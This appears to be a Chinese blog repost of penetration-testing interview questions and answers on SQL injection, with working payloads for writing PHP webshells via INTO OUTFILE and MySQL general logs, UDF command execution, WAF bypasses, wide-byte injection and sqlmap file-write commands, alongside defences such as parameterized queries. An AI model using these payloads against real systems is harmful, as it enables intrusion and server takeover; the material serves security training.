2025年滲透測試面試題總結-2025年HW(護網面試) 81(題目+回答)

安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

?2025年HW(護網面試) 81

一、Webshell獲取路徑規劃

二、變形注入突破技巧

三、MySQL寫入Webshell條件矩陣

四、SQLMap實戰操作指南

五、Bypass技巧大全

七、寬字節注入攻防

八、SQL注入檢測方法論

?2025年HW(護網面試) 81

SQLi
發現 test.jsp?cid=150 注入點,你有哪幾種思路獲取 webshell?
以下鏈接存在 SQL注入漏洞,對于這個變形注入,你有什么思路?
mysql注入點,用工具對目標站直接寫入一句話,需要哪些條件?
Mysql的網站注入,5.0以上和5.0以下有什么區別?
sqlmap如何對一個注入點注入,sqlmap如何注入一個post的包?
你都了解哪些SQL注入的bypass技巧?
介紹 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了數據庫數據,利用方式還有哪些?
寬字符注入的原理?如何利用寬字符注入漏洞,payload如何構造及修復方案?
如何判斷SQL注入,有哪些方法,說說你最常用的?

一、Webshell獲取路徑規劃

1. 直接文件寫入(需滿足條件)

sql?id=1' UNION SELECT 1,"<?=@eval($_POST[x]);?>",3 INTO OUTFILE '/var/www/html/shell.php'--+ 
  • 必要條件
    • MySQL配置:secure_file_priv為空值(非NULL
    • 當前用戶需具備FILE權限(SELECT user,file_priv FROM mysql.user
    • 知曉絕對路徑(通過報錯/配置文件泄露獲取) 2. 日志文件寫馬
sqlSET global general_log='on'; SET global general_log_file='/var/www/html/cmd.php'; SELECT '<?php system($_GET[0]);?>'; 
  • 適用場景:當secure_file_priv禁用寫入時
  • 后續清理:操作后需恢復日志路徑避免異常 3. UDF提權寫馬
mermaidgraph LR A[上傳so/dll文件] --> B[創建自定義函數] B --> C[調用函數執行系統命令] C --> D[直接寫入webshell]
  • 步驟
    1. 利用@@plugin_dir獲取插件目錄
    2. 通過hex編碼上傳惡意庫文件
    3. CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so'
    4. 執行SELECT sys_exec('echo "<?php phpinfo();?>" > shell.php')

二、變形注入突破技巧

1. 參數污染繞過

httpPOST /test.jsp cid=152&cid=151' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--+
  • 原理:WAF檢測首個參數,應用可能取末尾參數值 2. 分塊編碼傳輸
httpPOST /test.jsp HTTP/1.1 Transfer-Encoding: chunked 4 cid=1 5 ' AND A SLEEP(5)-- 0 

3. 復合語句混淆

sql/*!50400SELECT*/ 1 FROM users WHERE id=/*!500001*/' OR IF(SUBSTR(@@version,1,1)='8',BENCHMARK(10000000,SHA1(1)),0)
  • 利用MySQL內聯注釋特性繞過關鍵字檢測

三、MySQL寫入Webshell條件矩陣

條件類型5.0以下版本5.0+版本
信息獲取手工猜解表名/列名直接查詢information_schema
文件寫入magic_quotes_gpc=offsecure_file_priv=''
提權路徑UDF提權成功率>90%需對抗AppArmor/SELinux
系統命令執行可通過into outfile寫馬依賴Web目錄權限控制

四、SQLMap實戰操作指南

1. POST注入場景

bashsqlmap -u "http://target.com/login" --data="username=admin&password=pass" --level=5
  • 關鍵參數
    --data:POST數據包內容
    --cookie:維持會話憑證
    --proxy:通過BurpSuite觀察流量
    2. 自動化寫Webshell
bashsqlmap -u "http://target.com/test.jsp?cid=150" --file-write="shell.php" --file-dest="/var/www/html/shell.php" 
  • 前置要求:需先確認有寫權限且路徑正確

五、Bypass技巧大全

markdown▌ 層級繞過方案: 1. **字符替換** - 空白符:`%09`(TAB)/`%0a`(LF)/`/**/` - 等號:`LIKE 1`替代`=1` 2. **函數變形** - `CONCAT` → `CONCAT_WS('',1,2)` - `SUBSTRING` → `MID(@@version FROM 1 FOR 1)` 3. **邏輯混淆** ```sql SELECT * FROM users WHERE id=1 || (SELECT 1)>(SELECT 2)
  1. 協議級繞過
    • HTTP參數污染(HPP)
    • 分塊編碼傳輸
---
### 六、SQL注入全景防御 
**1. 漏洞成因**  
- 動態SQL拼接:`"SELECT * FROM users WHERE id=" + request.getParameter("id")` 
- 未過濾用戶輸入中的控制字符(如單引號/分號)
**2. 防范措施**  
```java 
// 參數化查詢示例(Java)
PreparedStatement stmt = conn.prepareStatement("SELECT  * FROM users WHERE id=?");  
stmt.setInt(1,  Integer.parseInt(request.getParameter("id"))); 
  • 深度防御
    ? 輸入驗證:正則過濾[^0-9](數字型參數)
    ? 最小權限:數據庫賬戶禁用FILE/EXECUTE權限
    ? WAF規則:攔截union selectsleep(等特征
    3. 進階利用技術
  • 數據庫端口轉發:xp_cmdshell+nc反彈內網DB服務器
  • SSRF組合攻擊:利用LOAD_FILE()讀取內網文件

七、寬字節注入攻防

原理
GBK編碼中%df%5c = "運"(%5c是反斜杠\),當程序使用addslashes()時:
id=1%df' → 轉義為1%df\' → 實際存儲1運' 導致單引號逃逸 Payload構造

sql?id=%df' UNION SELECT 1,@@version,3--+

修復方案

  1. 統一使用UTF-8編碼
  2. 轉義前先mysql_set_charset('gbk')
  3. 使用mysqli_real_escape_string()替代addslashes()

八、SQL注入檢測方法論

1. 報錯檢測法(最高效)

httpGET /test.jsp?cid=150' AND 1=CAST(@@version AS INT)-- 
  • 觸發類型轉換錯誤泄露版本信息 2. 時間盲注基準測試
sql' UNION SELECT IF(SUBSTR(@@version,1,1)='5', SLEEP(3),0),1,2 
  • 注意事項:建立正常響應時間基線 3. 布爾狀態對比
http正常:/product?id=152 異常:/product?id=152' AND '1'='2 
  • 觀察頁面內容差異/HTTP狀態碼變化 4. 工具自動化驗證
bashsqlmap -u "http://target.com/test.jsp?cid=150" --batch --random-agent --risk=3

實戰經驗:在金融系統滲透中,通過SLEEP()函數時間差確認注入點后,利用CONNECTION_ID()函數繞過WAF規則匹配,最終通過日志文件寫入獲取Webshell。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/93973.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/93973.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/93973.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

8.1IO進程線程——文件IO函數

文章目錄一、思維導圖二、使用文件IO函數&#xff0c;實現文件的拷貝myhead.h代碼現象三、使用標準IO函數&#xff0c;實現圖片的拷貝代碼現象四、使用文件IO函數&#xff0c;計算文件的大小代碼現象五、牛客網刷題一、思維導圖 二、使用文件IO函數&#xff0c;實現文件的拷貝 …

xerces-c-src_2_8_0 arm_linux編譯

xerces-c-src_2_8_0 ARM LINUX 編譯 文章借鑒&#xff1a;https://bbs.csdn.net/topics/250017321 export XERCESCROOT/xxxx/xerces-c-src_2_8_0 1 下載地址https://archive.apache.org/dist/xerces/c/sources/xerces-c-src_2_8_0.tar.gz&#xff1a;xerces-c-src_2_8_0.tar…

20250729使用WPS打開xlsx格式的電子表格時候隱藏顯示fx的編輯欄的方法

20250729使用WPS打開xlsx格式的電子表格時候隱藏顯示fx的編輯欄的方法 2025/7/29 9:44緣起&#xff1a;視圖→編輯欄 截屏的時候&#xff0c;顯示fx的編輯欄 占用空間了&#xff0c;很討厭。 想辦法拿掉&#xff01;

springboot當中ConfigurationProperties注解作用跟數據庫存入有啥區別

在Spring Boot中&#xff0c;ConfigurationProperties注解用于將外部配置文件&#xff08;如application.properties或application.yml&#xff09;中的屬性映射到Java對象中。這種方式使得配置管理更加靈活和集中。而將配置信息存入數據庫則是另一種管理應用程序配置的方式。這…

JVM指針壓縮的那些事

什么是指針壓縮&#xff1f;指針壓縮&#xff08;Compressed Ordinary Object Pointers&#xff0c;簡稱Compressed OOPs&#xff09;是JVM在64位平臺上的一種內存優化技術&#xff0c;它將64位的對象引用壓縮為32位&#xff0c;從而減少內存占用并提升性能。為什么需要指針壓縮…

【數據結構初階】--排序(一):直接插入排序,希爾排序

&#x1f525;個人主頁&#xff1a;草莓熊Lotso &#x1f3ac;作者簡介&#xff1a;C研發方向學習者 &#x1f4d6;個人專欄&#xff1a; 《C語言》 《數據結構與算法》《C語言刷題集》《Leetcode刷題指南》 ??人生格言&#xff1a;生活是默默的堅持&#xff0c;毅力是永久的…

Hive SQL (HQL) 編輯指南

Hive SQL&#xff08;HQL&#xff09;是基于Hive的數據倉庫查詢語言&#xff0c;語法類似標準SQL&#xff0c;但因Hive的離線大數據處理特性&#xff0c;存在一些特有規則和最佳實踐。以下是Hive SQL的編輯指南&#xff0c;涵蓋核心語法、注意事項和優化技巧&#xff1a; 一、H…

力扣熱題100--------240.搜索二維矩陣

編寫一個高效的算法來搜索 m x n 矩陣 matrix 中的一個目標值 target 。該矩陣具有以下特性&#xff1a; 每行的元素從左到右升序排列。 每列的元素從上到下升序排列。 示例 1&#xff1a;輸入&#xff1a;matrix [[1,4,7,11,15],[2,5,8,12,19],[3,6,9,16,22],[10,13,14,17,24…

【pytest高階】-2- 內置hook插件擴展機制和定制開發

一、可愛版 pytest 插件 & hook 知識大禮包 &#x1f381;準備好和 pytest 插件來一場可愛約會了嗎&#xff5e; 咱們用超甜的 emoji 把知識串成棉花糖&#x1f361; 一口一個知識點&#xff01;一、 pytest 插件&#xff1a;框架的 “魔法百寶箱” &#x1f9d9;?♀?1. …

博創軟件數智通OA平臺:高效協同,安全辦公新選擇

在數字化轉型浪潮下&#xff0c;企業對于辦公自動化系統的需求日益迫切。博創軟件&#xff0c;作為協同辦公領域的佼佼者&#xff0c;憑借其卓越的技術實力和豐富的行業經驗&#xff0c;推出了數智通OA平臺&#xff0c;為企業提供了一個高效、安全、便捷的辦公解決方案。博創軟…

AI coding匯總持續更新

代碼編輯器 當然了&#xff0c;用代碼編輯器這個概念太泛了&#xff0c;更多的是指AI代碼編輯器&#xff0c;有自動補全&#xff0c;ai寫代碼功能的產品。 cursor WindSurf Trae jetbrains全家桶 比如&#xff1a;IntelliJ IDEA雖然很優秀&#xff0c;但是有種感覺&#xff0c;…

Yolo底層原理學習--(第二篇)

一&#xff0c;IOU置信度與非極大值抑制NMS在第一篇文章中我們講到&#xff0c;對于一張圖片&#xff0c;在前向傳播的過程后&#xff08;也就是卷積&#xff0c;池化&#xff0c;全連接等等&#xff09;&#xff0c;會生成許許多多個預測框&#xff0c;那么怎么從這么多預測框…

國內短劇CSP系統開發:技術架構與合規實踐全解析

一、行業背景與政策驅動2025年&#xff0c;中國網絡微短劇行業迎來法治化轉型的關鍵期。國家廣播電視總局《關于進一步統籌發展和安全促進網絡微短劇行業健康繁榮發展的通知》明確實施"分類分層審核"制度&#xff0c;將微短劇劃分為重點微短劇&#xff08;投資≥100萬…

http請求訪問響應慢問題解決的基本思路

一、明確問題現象&#xff1a;先確定 “慢” 的特征在排查前&#xff0c;需先收集基礎信息&#xff0c;縮小問題范圍&#xff1a;是否所有請求都慢&#xff1f; 還是僅特定接口&#xff08;如帶數據庫操作的接口&#xff09;、特定時間段&#xff08;如高峰期&#xff09;、特定…

Vue.js的核心概念

Vue.js的核心概念可歸納為以下關鍵點&#xff0c;結合最新技術演進與實踐場景&#xff1a;一、響應式數據綁定?雙向綁定機制?&#xff1a;通過Object.defineProperty&#xff08;Vue 2&#xff09;或Proxy&#xff08;Vue 3&#xff09;實現數據劫持&#xff0c;自動追蹤依賴…

新手小白做一個簡單的微服務

我不太懂微服務框架&#xff0c;自己跟了個視頻嘗試做一套簡單的微服務框架&#xff0c;跟著做的時候&#xff0c;發現這個視頻很適合初學者 https://www.bilibili.com/video/BV1684y1T7oW/?spm_id_from333.337.search-card.all.click&vd_source61882010e50d6b158eb87c148…

C語言筆記4:錯題整理

#1.1 編程題 判斷101-500之間有多少個素數&#xff0c;放入數組中&#xff0c;遍歷數組輸出所有素數&#xff0c; 素數&#xff1a; 除了1和它本身以外不再有其他的因數。 具體實現 就用DeepSeek了 以下是AI生成代碼&#xff1a; #include <stdio.h> #include <math.h…

Mysql join語句

join 語句用于實現多表查詢。 Index Nested-Loop Join select * from a join b on a.idb.id。對于兩張表 a 和 b&#xff0c;Mysql 優化器會選擇其中一張表執行全表掃描&#xff0c;稱為驅動表。對于驅動表每一數據行&#xff0c;在被驅動表查詢數據&#xff0c;將結果組合返回…

Spring AI 系列之三十 - Spring AI Alibaba-其它模型

之前做個幾個大模型的應用&#xff0c;都是使用Python語言&#xff0c;后來有一個項目使用了Java&#xff0c;并使用了Spring AI框架。隨著Spring AI不斷地完善&#xff0c;最近它發布了1.0正式版&#xff0c;意味著它已經能很好的作為企業級生產環境的使用。對于Java開發者來說…

【Flutter3.8x】flutter從入門到實戰基礎教程(五):Material Icons圖標的使用

flutter給我們內置準備了很多圖標&#xff0c;這些圖標可以使我們在沒有設計師的前提下&#xff0c;也能做出自己滿意的app icon網站 https://material.io/tools/icons/進入網站后&#xff0c;點擊我們需要的圖標&#xff0c;然后滑動找到flutter的tab選項&#xff0c;就可以看…